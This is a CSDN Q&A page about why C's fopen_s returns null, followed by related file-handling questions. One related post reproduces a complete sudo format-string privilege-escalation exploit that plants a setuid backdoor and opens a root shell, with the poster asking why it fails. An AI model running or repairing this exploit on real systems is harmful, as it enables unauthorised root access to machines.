C++ fopen_s()函数的相关问题。

fopen_s()函数中,经过我使用"wb"参数测试测试结果,已存在的图片a.bmp内容被摧毁所以可以证明路径没有问题,但是fopen_s()函数返还值为null,为什么将"wb"换成“rb”以后,fopen_s()返还值也是null,求解

c++

2个回答

可以用fopen(const char *filename,const char *mode);

返回值是错误码,0表示正常。pFile才是打开的文件指针

 errno_t fopen_s( FILE** pFile, const char *filename, const char *mode );
Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
C++ fopen_s()函数的相关问题。
fopen_s()函数中,经过我使用"wb"参数测试测试结果,已存在的图片a.bmp内容被摧毁所以可以证明路径没有问题,但是fopen_s()函数返还值为null,为什么将"wb"换成“rb”以后,fopen_s()返还值也是null,求解
能帮我修改下代码吗?那fopen_s函数的参数
![图片说明](https://img-ask.csdn.net/upload/201511/12/1447325480_508221.jpg) ![图片说明](https://img-ask.csdn.net/upload/201511/12/1447325409_617732.jpg)
fwscanf_s函数如何使用
fontpreviewheight = GetDlgItemInt(dlghwndset, 51, NULL, 1); fontmainheight = GetDlgItemInt(dlghwndset, 52, NULL, 1); usersetheight = GetDlgItemInt(dlghwndset, 55, NULL, 1); previewmulti= GetDlgItemInt(dlghwndset, 53, NULL, 1); mainmulti = GetDlgItemInt(dlghwndset, 54, NULL, 1); previewwindowswidth= GetDlgItemInt(dlghwndset, 56, NULL, 1); previewwindowheight= GetDlgItemInt(dlghwndset, 59, NULL, 1); FILE *file = fopen("set.txt", "w+"); if (file == NULL) { MessageBox(NULL, _T("write file error"), _T("write file error"), MB_OK); } else { if (fwprintf_s(file, _T("%d,%d,%d,%d,%d,%d,%d\n"),fontpreviewheight, fontmainheight,previewmulti,mainmulti,usersetheight, previewwindowswidth, previewwindowheight)< 0) { MessageBox(NULL, _T("write file error"), _T("write file error"), MB_OK); } } wchar_t str0[20], str1[20], str2[20], str3[20], str4[20], str5[20], str6[20]; wchar_t a; fwscanf_s(fileset, _T("%[^,]%c%[^,]%c%[^,]%c%[^,]%c[^,]%c%[^,]%c%[^\n]\n"), str0,&a, str1, &a, str2, &a, str3, &a, str4, &a, str5, &a, str6);这样写不对。。。 请问这个函数怎么用
文件操作,fopen的疑问,以及无法编辑文件,请大佬指教,谢谢!
开始接触文件类很迷惑,按着书本敲的 ``` #include<stdio.h> #include<stdlib.h> int main(void) { FILE *fp; char ch; if (!(fp=fopen_s("d:\\wenjian\\test.txt", "wt"))) { printf("cannot open file!\n"); getchar(); exit(1); } printf("please put in char:\n"); while ((ch = getchar()) != '\n') fputc(ch, fp); fclose(fp); getchar(); return 0; } ``` 错误信息: cpp(7): warning C4129: “w”: 不可识别的字符转义序列 error C2660: “fopen_s”: 函数不接受 2 个参数 note: 参见“fopen_s”的声明 第二三个错误信息,虽然可以解决,但是没有弄明白 按照网上的做法将 if (!(fp=fopen_s("d:\wenjian\test.txt", "wt")))改为了 if (!(fopen_s(&fp,"d:\wenjian\test.txt", "wt"))) 这样第二三错误就没有了,但是fopen的定义是FILE* fopen(const char* filename,const char* mode); 是我的书老版了吗。 替换后 ``` #include<stdio.h> #include<stdlib.h> int main(void) { FILE *fp; char ch; if ((fopen_s(&fp ,"d:\\wenjian\\test.txt", "wt"))==NULL) { printf("cannot open file!\n"); getchar(); exit(1); } printf("please put in char:\n"); while ((ch = getchar()) != '\n') fputc(ch, fp); fclose(fp); getchar(); return 0; } ``` 可以创建文件,但是无法打开写入数据,直接就cannot open file!退出了,请问我的问题出在那里啊,我是按着书上敲的
请教一个在Linux Ubuntu12.04下通过sudo_debug函数的格式化字符串漏洞来获取root权限的问题
我于网上抄了一个大佬的代码,[源码地址](https://www.exploit-db.com/exploits/25134 "") 代码如下: ``` #include <sys/resource.h> #include <sys/utsname.h> #include <gnu/libc-version.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/time.h> #include <sys/stat.h> #include <string.h> #include <sys/wait.h> #define OFFSET 65000 #define NUM_THREADS 0 /* files that we create on disk */ #define BACKDOOR "e.c" #define BD_COMPILED "e" #define SUDO_ASKPASS "e.sh" extern char **environ; struct utsname ver; void *kill_sudo(); void *pop_shell(); void *set_env(); int is_glibc_vuln(); int is_sudo_vuln(); int write_backdoor(); /* hardcoded path to sudo */ const char sudo[] = "/usr/bin/sudo\0"; char s_version[20]; /* vuln versions of sudo */ char vuln_sudo_versions[4][20] = { {"1.8.0"}, {"1.8.1"}, {"1.8.2"}, {"1.8.3"} }; /* vuln versions of glibc */ char vuln_glibc_versions[4][20] = { {"2.14.90"}, }; int main(int argc, char *argv[]) { struct rlimit rara; int status; char ready; uname(&ver); printf("[+] Targeting release: %s\n", ver.release); if (is_glibc_vuln()){ if(is_sudo_vuln()){ if (write_backdoor()){ printf("[+] Press enter when ready..."); scanf("%c", &ready); }else{ exit(0); } }else{ exit(0); } }else{ exit(0); } // ulimited stack rara.rlim_max = rara.rlim_cur = -1; setrlimit(RLIMIT_STACK, &rara); pid_t pid; if((pid = fork()) < 0) { printf("[-] An error occurred while forking sudo\n"); return -1; } else if(pid == 0){ set_env(); kill_sudo(); }else{ wait(&status); if (WIFEXITED(status)) { sleep(1); pop_shell(); } } } int is_glibc_vuln(){ int i, returnval = -1; for (i = 0; i < 4; i++){ if (strcmp(gnu_get_libc_version(), vuln_glibc_versions[i]) == 0){ printf("[+] Found vuln glibc version: %s\n", gnu_get_libc_version()); returnval = 1; } } return returnval; }; int is_sudo_vuln(){ int i, returnval = -1;; FILE *fp; char path[20]; char sudo_ver_cmd[50]; snprintf(sudo_ver_cmd, sizeof(sudo)+3,"%s -V", sudo); fp = popen(sudo_ver_cmd, "r"); if (fp == NULL) { printf("[-] Failed to get sudo's version\n[-]Exiting.." ); exit(0); } fgets(path, 21, fp); memmove (s_version, path+13,5); for (i = 0; i < 4; i++){ if (strcmp(s_version, vuln_sudo_versions[i]) == 0){ printf("[+] Found a vuln sudo version: %s\n", s_version); returnval = 1; } } return returnval; }; int write_backdoor(){ int returnval = 1; char askpass[100], compile_bd[100]; char bdcode[] = "#include <stdio.h>\r\n" "#include <stdlib.h>\r\n" "int main(int argc, char **argv){\r\n" " printf(\"[+] Getting root..!\\n\");\r\n" " setresuid(0,0,0);\r\n" " printf(\"[+] Cleaning system.\\n\");\r\n" " remove(\"e\"); remove(\"e.c\"); remove(\"e.sh\");\r\n" " printf(\"[+] Launching root shell!\\n\");\r\n" " system(\"/bin/sh\");\r\n" " exit(0);\r\n" "}\r\n"; FILE *fp = fopen(BACKDOOR,"wb"); if (fp == NULL) { printf("[-] Failed to write backdoor on the target, check your permissions\n" ); returnval = -1; }else{ printf("[+] Writing backdoor: %s\n", BACKDOOR); } fwrite(bdcode, 1, sizeof(bdcode)-1, fp); fclose(fp); memset(compile_bd, 0x00, sizeof(compile_bd)); snprintf(compile_bd, sizeof(BACKDOOR)+sizeof(BD_COMPILED)+17,"/usr/bin/gcc %s -o %s", BACKDOOR, BD_COMPILED); printf("[+] Compiling backdoor: %s\n", BD_COMPILED); fp = popen(compile_bd, "r"); if (fp == NULL) { printf("[-] Failed to compile the backdoor, check the gcc path\n" ); returnval = -1; } fclose(fp); memset(askpass, 0x00, sizeof(askpass)); snprintf(askpass, sizeof(BD_COMPILED)*2+39,"#!/bin/sh\nchown root:root %s\nchmod 4777 %s\n", BD_COMPILED, BD_COMPILED); fp = fopen(SUDO_ASKPASS,"w"); if (fp == NULL) { printf("[-] Failed to write backdoor on the target, check your permissions\n" ); returnval = -1; }else{ printf("[+] Writing SUDO_ASKPASS file: %s\n", SUDO_ASKPASS); } fwrite(askpass, 1, sizeof(askpass)-1, fp); fclose(fp); chmod(SUDO_ASKPASS, 0755); return returnval; }; void *set_env(){ int i = 0; char ld_preload_evar[OFFSET] = "LD_PRELOAD="; char user_details[OFFSET] = {0x1f, 0x46, 0x01, 0x40}; char sudo_askpass_evar[40]; for (i=0; i<(OFFSET/4); i++){ memcpy(user_details+(i*4), user_details, sizeof(int)); } memmove (ld_preload_evar+11, user_details , sizeof(user_details)); memset(sudo_askpass_evar, 0x00, sizeof(sudo_askpass_evar)); snprintf(sudo_askpass_evar, sizeof(SUDO_ASKPASS)+13,"SUDO_ASKPASS=%s", SUDO_ASKPASS); // set our environment putenv(ld_preload_evar); putenv(sudo_askpass_evar); }; void *kill_sudo(){ char fmtstring[] = "%20$08n %*482$ %*2850$ %1073741824$"; char *args[] = { fmtstring, "-D9", "-A", "", NULL}; // trigger the vuln execve(sudo, args, environ); }; void *pop_shell(){ // set our environment unsetenv("LD_PRELOAD"); unsetenv("SUDO_ASKPASS"); char *exploit_args[] = { BD_COMPILED, NULL }; execve(BD_COMPILED, exploit_args, environ); }; ``` 这是别人运行后的截图 ![图片说明](https://img-ask.csdn.net/upload/201912/25/1577248386_581331.png) 这是我运行的截图 ![这是我运行的截图](https://img-ask.csdn.net/upload/201912/25/1577209594_514497.png) 可以看出来我的没有运行成功,我是自己复制下来的,完全没有改动,sudo版本也是相同的,我实在是不知道原因何在,只能来求助各位大佬了
C语言 gets函数相关问题
``` #include<stdio.h> #include <stdlib.h> #include<conio.h> #include<String.h> int main() { FILE *fp; char ch; fp=fopen("F:\\啦啦.txt","at+"); /* if((fp=fopen("F:\\啦啦.txt","at+"))==NULL) { printf("Cannot open file strike any key exit!"); getch(); exit(1); } ch=fgetc(fp); while (ch != EOF) { putchar(ch); ch=fgetc(fp); } *///这个过程是进行读数据的测试过程 //接下来进行语法分析 ch = getchar(); //这里回车作为输入结束 FILE *stream = stdin; int stdin_len = strlen(stream->_ptr); stream->_ptr[strlen(stream->_ptr)-2]='\0'; if (stdin_len > 0) { fputs(stream->_ptr-1, fp); //stream->_ptr 后面会带有\n\n 不需要就开空间复制前面的输入字符串 } char en[20]; gets(en); printf("%s",en);//测试gets函数效果 system("pause"); return 0; } ``` 我想测试下gets函数效果,这个函数就是运行的时候 ,等待用户输入,然后我弄了个输出,输出结果很变态![图片说明](https://img-ask.csdn.net/upload/201910/09/1570598808_700634.png) 输出结果 变少了 为什么呢。
关于c语言 fopen触发断点问题,求大神解惑
数据结构作业要构造huffman树并输出文件,但是过程遇到问题,困了好几天没能解决。 ![图片说明](https://img-ask.csdn.net/upload/201910/15/1571149416_706766.png)![图片说明](https://img-ask.csdn.net/upload/201910/15/1571149429_15842.png) 如图,我尝过许多方法,文件名字符串双斜杠试过,作为变量传入也试过,但是都会发生这样的情况。但是更让我难以理解的是偶尔会成功打开并且成功写入,这就让我不知道要从哪里找问题了。 部分代码如下,程序还未完成但是可以调试部分功能了 ``` #include<stdio.h> #include<stdlib.h> #include<string.h> #define ERROR 0 #define OK 1 typedef int status; typedef struct { unsigned int weight; unsigned parent, lchild, rchild; }HTNode, *HuffmanTree; typedef char **HuffmanCode; void Get_Info(int *n, char **charset, int **w) { printf("请输入字符集大小:"); scanf("%d", n); getchar(); int i, m = 2 * (*n) - 1; *charset = (char*)malloc((*n) * sizeof(char)); *w = (int*)malloc((*n) * sizeof(int)); for (i = 0; i < *n; i++) { printf("请输入第%d个字符及其权值(中间用空格隔开):", i + 1); scanf("%c", (*charset)+i); getchar(); scanf("%d", (*w)+i); getchar(); } } void Select(HuffmanTree HT, int m, int *s1, int *s2) { //s1.w<s2.w int i, temp, tag = 1; HuffmanTree p; for (i = 1, p = HT + 1; i <= m; p++, i++) { if (p->parent == 0 && tag == 1) { *s1 = i; tag++; } else if (p->parent == 0 && tag == 2) { //没加else,导致同时执行 *s2 = i; break; } } if (HT[*s1].weight > HT[*s2].weight) { temp = *s1; *s1 = *s2; *s2 = temp; } for (i = 1, p = HT + 1; i <= m; p++, i++) { if (p->weight < HT[*s1].weight && p->parent == 0) { *s2 = *s1; *s1 = i; } else if (p->weight < HT[*s2].weight && p->weight != HT[*s1].weight && p->parent == 0) *s2 = i; } } void CreateHT(HuffmanTree *HT, int n, char *charset, int* w, char treefilename[]) { int i, m; int s1, s2; FILE *Huffman; HuffmanTree p; //初始化 m = 2 * n - 1; (*HT) = (HuffmanTree)malloc((m + 1) * sizeof(HuffmanCode)); for (p = *HT + 1, i = 1; i <= m; i++, p++) { p->weight = 0; p->parent = 0; p->lchild = 0; p->rchild = 0; } for (p = *HT + 1, i = 1; i <= n; i++, p++, w++) p->weight = *w; //建Huffman树 for (i = n + 1; i <= m; i++) { //调试分析1:写成i = 1,发生错误。 Select(*HT, i - 1, &s1, &s2); /*调试分析3:刚开始设置为i,导致select函数多找一位,Huffman树生成错误,应为i-1*/ (*HT)[i].weight = (*HT)[s1].weight + (*HT)[s2].weight; (*HT)[i].lchild = s1; (*HT)[i].rchild = s2; (*HT)[s1].parent = i; (*HT)[s2].parent = i; } //输出到Huffman文件 Huffman = fopen(treefilename, "w"); fprintf(Huffman, "W P L R\n"); for (i = 1; i <= m; i++) fprintf(Huffman, "%d %d %d %d\n", (*HT)[i].weight, (*HT)[i].parent, (*HT)[i].lchild, (*HT)[i].rchild); fclose(Huffman); } void Coding(HuffmanTree HT,HuffmanCode *HC, int n) { int start; unsigned int c, f; char *cd; (*HC) = (HuffmanCode)malloc((n + 1) * sizeof(char*)); cd = (char*)malloc(n * sizeof(char)); cd[n - 1] = '\0'; for (int i = 1; i <= n; ++i) { start = n - 1; for (c = i, f = HT[i].parent; f != 0; c = f, f = HT[f].parent) { if (HT[f].lchild == c) cd[--start] = '0'; else cd[--start] = '1'; } (*HC)[i] = (char*)malloc((n - start) * sizeof(char)); strcpy((*HC)[i], &cd[start]); } free(cd); } status CodeFile(HuffmanCode HC, char *textfilename, char *codefilename, char *charset) { FILE *CodeFile, *TextFile; char text[1000],code[5000]; int length = 0, i, j; TextFile = fopen(textfilename, "r"); if (TextFile == NULL) { printf("正文文件不存在。请重试\n"); return ERROR; } while ((text[length] = fgetc(TextFile)) != EOF) length++; fclose(TextFile); CodeFile = fopen(codefilename, "w"); for (i = 0; i < length; i++) { j = 0; while (charset[j] != text[i]) j++; j++; fputs(HC[j], CodeFile); } fclose(CodeFile); return OK; } status Get_HT(HuffmanTree *HT, char *treefilename, int *n) { int status; char garbage[100]; FILE *Huffman; HuffmanTree p ,q; (*n) = 0; p = (HuffmanTree)malloc(sizeof(HuffmanCode)*2); Huffman = fopen(treefilename, "r"); if (Huffman == NULL) { printf("文件不存在!"); status = ERROR; } else { (*HT) = (HuffmanTree)malloc(sizeof(HTNode)); for (int i = 0; i < 100;i++) { fgets(garbage, 37, Huffman); puts(garbage); printf("*%d*", i); } while ((fscanf(Huffman ,"%d %d %d %d", &(p[*n+1].weight), &(p[*n + 1].parent), &(p[*n + 1].lchild), &(p[*n + 1].rchild)))!=EOF) {//eof标识文件输入结束 (*n)++; printf("%d %d %d %d\n", p[*n + 1].weight, p[*n + 1].parent, p[*n + 1].lchild, p[*n + 1].rchild); p = (HuffmanTree)realloc(p, sizeof(HuffmanCode)*(*n + 2)); } (*HT) = p; status = OK; } return status; } int main() { char *charset, treefilename[40], codefilename[40], textfilename[40], c; int i, n, *w, status; int op; HuffmanTree HT = NULL; HuffmanCode HC = NULL; printf("姓名:陈志涛 学号:2018051234 时间:2019/10/10\n"); printf("=======================Huffman编码=======================\n"); printf("操作说明:请输入操作序号,并根据提示输入\n"); printf("菜 单:1、构建Huffman树\n"); printf(" 2、编码\n"); printf(" 3、译码\n"); printf(" 4、退出程序\n"); do { printf("\n>>>请输入操作序号:"); scanf("%d", &op); getchar(); switch (op){ case 1: Get_Info(&n, &charset, &w); printf("请输入Huffman树的文件存储地址:"); gets_s(treefilename); CreateHT(&HT, n, charset, w, treefilename); printf("Huffman树构建并保存成功。\n"); break; case 2: if (HT == NULL) { printf("当前未构建Huffman树,是否从文件中读取(Y/N)?"); scanf("%c", &c); getchar(); if (c == 'Y' || c == 'y') { printf("请输入Huffman文件存储地址:"); gets_s(treefilename); status = Get_HT(&HT, treefilename, &n); if (status == ERROR) { printf("获取Huffman树失败,请检查。"); break; } } else break; } Coding(HT, &HC, n); printf("请输入正文文件的存储地址:"); gets_s(textfilename); printf("请输入Huffman编码的目标存储地址:"); gets_s(codefilename); CodeFile(HC, textfilename, codefilename, charset); break; } printf("\n"); } while (1); system("pause"); return 0; } ``` 希望有好心人帮帮忙解惑
C语言fopen打开文件失败
一个单链表创建学生信息的作业,要求要用文件的输入输出。 打全部路径会出现如图的错误。 打“C:\\\student_info.txt”也不行。 把文件移到project8的文件夹下面打“student_info.txt”也不行。 已确定文件在文件夹内是存在的。F11调试确定就是fopen那块儿出的问题 求问怎么改......崩溃 ![图片说明](https://img-ask.csdn.net/upload/201912/04/1575461393_230930.png) #define _CRT_SECURE_NO_DEPRECATE #include <stdio.h> #include <stdlib.h> #define OK 1 #define ERROR 0 #define OVERFLOW -2 typedef int ElemType; typedef int Status; FILE *fp; /*①单链表数据结构定义*/ typedef struct { int num; //学号 //char name[20]; //姓名 //int sex; //性别 //int dorm; //宿舍 //int tel; //电话 }Student; //结点定义 typedef struct LNode { Student data; struct LNode *next; }LNode; //链表定义 typedef struct { LNode* head; //指向头结点的指针 int length; //链表长度 }LinkList; /*②单链表基本操作接口定义*/ //初始化链表:创建头结点,给L字段赋初值 //返回一个空的单链表 Status InitList(LinkList &L); //初始条件:线性表L已经初始化 //采用头插法创建一个单链表,元素类型为整形,输入-9999时结束 Status CreateFromHead(LinkList &L); //初始条件:线性表L已经初始化 //采用尾插法创建一个单链表,元素类型为整形,输入-9999时结束 Status CreateFromTail(LinkList &L); //初始条件:线性表L已经存在 //打印出所有元素 void PrintElem(LinkList L); //初始条件:线性表L已经存在 //查找第i个结点,若找到(1≤i≤n),则由e返回其值 Status GetElem_L(LinkList L, int i, ElemType &e); //初始条件:线性表L已经存在 //在单链线性表L的第i个元素之前插入元素e Status ListInsert_L(LinkList &L, int i, ElemType e); //初始条件:线性表L已经存在 //删除第i个元素,并由e返回其值 Status ListDelete_L(LinkList &L, int i, ElemType &e); int main() { LinkList L; InitList(L); CreateFromHead(L); PrintElem(L); system("pause"); } /*③部分单链表操作的实现函数*/ Status InitList(LinkList &L) //初始化链表 { L.head = (LNode*)malloc(sizeof(LNode)); if (!L.head)exit(OVERFLOW); L.length = 0; L.head->next = NULL; return OK; } //初始条件:线性表L已经初始化 //采用头插法创建一个单链表,元素类型为整形,输入-9999时结束 Status CreateFromHead(LinkList &L) { LNode *s; int flag = 1; int e; L.head = (LNode*)malloc(sizeof(LNode)); L.head->next = NULL; while (flag) { fp = fopen("C:\Users\解诗雨\source\student_info.txt", "r+"); if (fp==NULL) { printf("打不开\n"); return OK; } fscanf(fp,"%d", &e); if (e) { s = (LNode*)malloc(sizeof(LNode)); s->data.num = e; s->next = L.head->next; L.head->next = s; ++L.length; } else flag = 0; fclose(fp); } return OK; } //初始条件:线性表L已经存在 //打印出所有元素 void PrintElem(LinkList L) { LNode* p; p = L.head->next; printf("当前的结点数为:%d\n", L.length); while (p) { printf("%4d ", p->data.num); p = p->next; } printf("\n"); } 文本: ![图片说明](https://img-ask.csdn.net/upload/201912/04/1575462569_672809.png) 因为现在还在创建链表其他还没弄完...
源程序中使用GDI+时出现无法解析的外部指令,求大佬解答
1>------ 已启动生成: 项目: DecCallBack_Demo, 配置: Debug x64 ------ 1>C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V140\Microsoft.CppBuild.targets(368,5): warning MSB8004: Output Directory does not end with a trailing slash. This build instance will add the slash as it is required to allow proper evaluation of the Output Directory. 1> DecCallBack_DemoDlg.cpp 1>DecCallBack_DemoDlg.cpp(374): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 1> C:\Program Files (x86)\Windows Kits\10\Include\10.0.10240.0\ucrt\stdio.h(1769): note: 参见“sprintf”的声明 1>DecCallBack_DemoDlg.cpp(375): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 1> C:\Program Files (x86)\Windows Kits\10\Include\10.0.10240.0\ucrt\string.h(346): note: 参见“strncpy”的声明 1>DecCallBack_DemoDlg.cpp(376): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 1> C:\Program Files (x86)\Windows Kits\10\Include\10.0.10240.0\ucrt\string.h(346): note: 参见“strncpy”的声明 1>DecCallBack_DemoDlg.cpp(518): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 1> C:\Program Files (x86)\Windows Kits\10\Include\10.0.10240.0\ucrt\stdio.h(1769): note: 参见“sprintf”的声明 1>DecCallBack_DemoDlg.cpp(519): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 1> C:\Program Files (x86)\Windows Kits\10\Include\10.0.10240.0\ucrt\stdio.h(205): note: 参见“fopen”的声明 1>DecCallBack_DemoDlg.obj : error LNK2019: 无法解析的外部符号 GdiplusStartup,该符号在函数 "protected: virtual int __cdecl CDecCallBack_DemoDlg::OnInitDialog(void)" (?OnInitDialog@CDecCallBack_DemoDlg@@MEAAHXZ) 中被引用 1>gdiplus.lib : warning LNK4272: 库计算机类型“X86”与目标计算机类型“x64”冲突 1>bin/DecCallBack_Demo.exe : fatal error LNK1120: 1 个无法解析的外部命令 ========== 生成: 成功 0 个,失败 1 个,最新 0 个,跳过 0 个 ==========
C语言文件读写和类型转换的一个小问题
``` #include <stdio.h> #include <Windows.h> main() { FILE *f; int c; errno_t err = fopen_s(&f,"E:\\workspace\\TVPLAY\\data\\diffFrame\\txts\\file2.txt","r"); if (err) { printf("can't open file\n"); } c = fgetc(f); while (c!=EOF) { printf("%d ",c); c = fgetc(f); } Sleep(30000); return 0; } ``` 定义的c是int型 但是如果如此输出是ascII的值 0空格1空格2空格2空格0空格 会输出 48 32 49 32 50 32 50 32 如果在函数前面定义int i int i; 在下面执行强制转换 i=(int)c; 则在此行编译报错。
文件格式输出函数——fprintf()的使用,运行后报错
在运行后,程序会出错无法运行,请问大佬们怎么解决。 ``` #include<stdio.h> #include<stdlib.h> #define N 3 struct student { char *number; char *name; int chinese, math, english; }stu[N]; int main(void) { FILE *fp; int i = 0; if (fopen_s(&fp, "d:\\wenjian\\test5.txt","wt") != NULL) { printf("cannot open file test5!\n"); exit(1); } for (i = 0; i < N; i++) { printf("please put in number:\n"); scanf_s("%s", stu[i].number, 20); printf("please put in name:\n"); scanf_s("%s", stu[i].name, 20); printf("please put in chinese:\n"); scanf_s("%d", &stu[i].chinese); printf("please put in math:\n"); scanf_s("%d", &stu[i].math); printf("please put in english:\n"); scanf_s("%d", &stu[i].english); fprintf(fp, "%s %s %d %d %d\n", stu[i].number, stu[i].name, stu[i].chinese, stu[i].math, stu[i].english); } fclose(fp); getchar(); return 0; } ``` ![图片说明](https://img-ask.csdn.net/upload/201911/16/1573905622_398910.png)
Dijsktra算法结果出错:terminate called after throwing an instance of 'std::logic_error' what(): basic_string::_S_construct null not valid
结果:terminate called after throwing an instance of 'std::logic_error' what(): basic_string::_S_construct null not valid ``` #include <iostream> #include <sstream> #include <string.h> #include <vector> #include<fstream> #define MaxInt 32767 //表示极大值,即∞ #define MVNum 100 //最大顶点数 using namespace std; typedef int ArcType; //假设边的权值类型为整型 int *D=new int[MVNum]; //用于记录最短路的长度 bool *S=new bool[MVNum](); //标记顶点是否进入S集合S={}; int *Path=new int[MVNum]; //用于记录最短路顶点的前驱 //------------图的顶点结构----------------- typedef struct{ char name[100]; char info[1000]; }VertexType; //顶点结构 //------------图的邻接矩阵----------------- typedef struct{ VertexType vexs[MVNum]; //顶点表 ArcType arcs[MVNum][MVNum]; //邻接矩阵 int vexnum,arcnum; //图的当前点数和边数 }AMGraph; int LocateVex(AMGraph G , string vname){ //确定点v在G中的位置 for(int i = 0; i < G.vexnum; ++i) if(G.vexs[i].name== vname) return i; return -1; }//LocateVex //定义字符串分割函数 vector<string> split(const string& str, const string& delim) { vector<string> res; if("" == str) return res; //先将要切割的字符串从string类型转换为char*类型 char * strs = new char[str.length() + 1] ; //不要忘了 strcpy(strs, str.c_str()); char * d = new char[delim.length() + 1]; strcpy(d, delim.c_str()); char *p = strtok(strs, d); while(p) { string s = p; //分割得到的字符串转换为string类型 res.push_back(s); //存入结果数组 p = strtok(NULL,d); } return res; } void CreateUDN(AMGraph &G,char filename[]){ //采用邻接矩阵表示法,创建无向网G FILE *in; char *ch=new char[1000]; char* s; vector<string> res; if((in=fopen(filename,"r"))==NULL){ cout<<"无法打开graph文件!"<<endl; exit(0); } //读取总顶点数,总边数 fgets(s,1000,in); res=split(s, " "); stringstream ss,kk; ss<<res[0]; ss>>G.vexnum; cout<<G.vexnum<<endl; kk<<res[1]; kk>>G.arcnum; cout<<G.arcnum<<endl; //读取顶点信息 for(int i=0;i<G.vexnum;i++){ fgets(s,1000,in); res=split(s, " "); strcpy(G.vexs[i].name, res[0].c_str()); strcpy(G.vexs[i].info, res[1].c_str()); } //读取边的信息 int m,n; for(int i=0;i<G.arcnum;i++){ stringstream zz; fgets(s,1000,in); res=split(s, " "); m = LocateVex(G, res[0]); n = LocateVex(G, res[1]); //确定两个顶点在G中的位置,即顶点数组的下标 zz<<res[2]; zz>>G.arcs[m][n]; //设置边的权重 G.arcs[n][m] = G.arcs[m][n]; zz.str(""); } fclose(in); }//CreateUDN void ShortestPath_DIJ(AMGraph G, int v0){ //用Dijkstra算法求有向网G的v0顶点到其余顶点的最短路径 int v , i , w , min; int n = G.vexnum; //n为G中顶点的个数 for(v = 0; v < n; ++v){ //n个顶点依次初始化 S[v] = false; //S初始为空集 D[v] = G.arcs[v0][v]; //将v0到各个终点的最短路径长度初始化为弧上的权值 if(D[v] < MaxInt) Path [v] = v0; //如果v0和v之间有弧,则将v的前驱置为v0 else Path [v] = -1; //如果v0和v之间无弧,则将v的前驱置为-1 }//for S[v0]=true; //将v0加入S D[v0]=0; //源点到源点的距离为0 /*―初始化结束,开始主循环,每次求得v0到某个顶点v的最短路径,将v加到S集―*/ for(i = 1;i < n; ++i){ //对其余n-1个顶点,依次进行计算 min= MaxInt; for(w = 0; w < n; ++w) if(!S[w] && D[w] < min){ //选择一条当前的最短路径,终点为v v = w; min = D[w]; }//if S[v]=true; //将v加入S for(w = 0;w < n; ++w) //更新从v0出发到集合V?S上所有顶点的最短路径长度 if(!S[w] && (D[v] + G.arcs[v][w] < D[w])){ D[w] = D[v] + G.arcs[v][w]; //更新D[w] Path [w] = v; //更改w的前驱为v }//if }//for }//ShortestPath_DIJ void DisplayPath(AMGraph G, int begin,int temp ){ //显示最短路 //cout<<Path[temp]<<endl; if(Path[temp] != -1){ DisplayPath(G, begin,Path[temp]); cout<<G.vexs[Path[temp]].name<<"-->"; } }//DisplayPath int main() { //cout << "************算法6.10 迪杰斯特拉算法**************" << endl << endl; AMGraph G; int i , j ,fuwu,jd,start, destination; char f1[]={"graph.txt"}; CreateUDN(G,f1); cout <<endl; cout << "*****无向网G创建完成!*****" << endl; for(i = 0 ; i < G.vexnum ; ++i){ for(j = 0; j < G.vexnum; ++j){ if(j != G.vexnum - 1){ if(G.arcs[i][j] != MaxInt) cout << G.arcs[i][j] << "\t"; else cout << "∞" << "\t"; } else{ if(G.arcs[i][j] != MaxInt) cout << G.arcs[i][j] <<endl; else cout << "∞" <<endl; } } }//for cout << "************欢迎来到**************" << endl << endl; cout << " 1.查询景点信息 "<<endl; cout << " 2.问路查询 "<<endl; cout << " 3.退出 "<<endl; cout<<"*****************请选择需要的服务(1-3)****************"<<endl; cin>>fuwu; switch(fuwu){ case 1:cout<<"本校景点有:"<<endl; for(i=0;i<G.vexnum;i++){ cout<<i<<":"<<G.vexs[i].name<<endl; } cout<<"请选择需要查询的景点"<<endl; cin>>jd; cout<<G.vexs[jd].info<<endl; case 2:cout<<"本校景点有:"<<endl; for(i=0;i<G.vexnum;i++){ cout<<i<<":"<<G.vexs[i].name<<endl; } cout<<"请输入您的所在地"<<endl; cin>>start; cout<<"请输入您的目的地"<<endl; cin>>destination; ShortestPath_DIJ(G,start); cout<<"路径是:"; DisplayPath(G,start,destination); cout<<G.vexs[destination].name<<endl<<"最短距离是:"<<endl; cout<<D[destination]<<endl; case 3: exit(0); } return 0; }//main ```
**删除C程序中的注释(请你编写一个函数,将C语言源程序中的注释全部删去。)
请你编写一个函数,将C语言源程序中的注释全部删去。 函数原型 // 删除注释 void Pack(FILE *src, FILE *dst); 说明:参数 src 和 dst 均为文件指针,其中:src 指示原始程序文件,dst 指示整理后得到的文件。 C语言规定:注释以 /* 开始,以 */ 结束。注释可以跨行,不允许嵌套。字符串中的 /* 和 */ 不是注释。 此外C语言还规定:注释相当于一个空白字符。因此,注释被删除后应补入一个空格。 裁判程序 #include <stdio.h> #include <ctype.h> #include <string.h> // 删除注释 void Pack(FILE *src, FILE *dst); int main() { char sname[1024], dname[1024]; FILE *sfile, *dfile; gets(sname); gets(dname); sfile = fopen(sname, "rb"); if (!sfile) { printf("%s 无法打开!\n", sfile); } dfile = fopen(dname, "wb"); if (!dfile) { printf("%s 无法打开!\n", dfile); } if (sfile && dfile) { printf("正在整理..."); Pack(sfile, dfile); puts("整理完成!"); } if (sfile) { fclose(sfile); } if (dfile) { fclose(dfile); } return 0; } /* 你提交的代码将被嵌在这里 */
请问fcanf函数输入不进去数据是怎么回事?
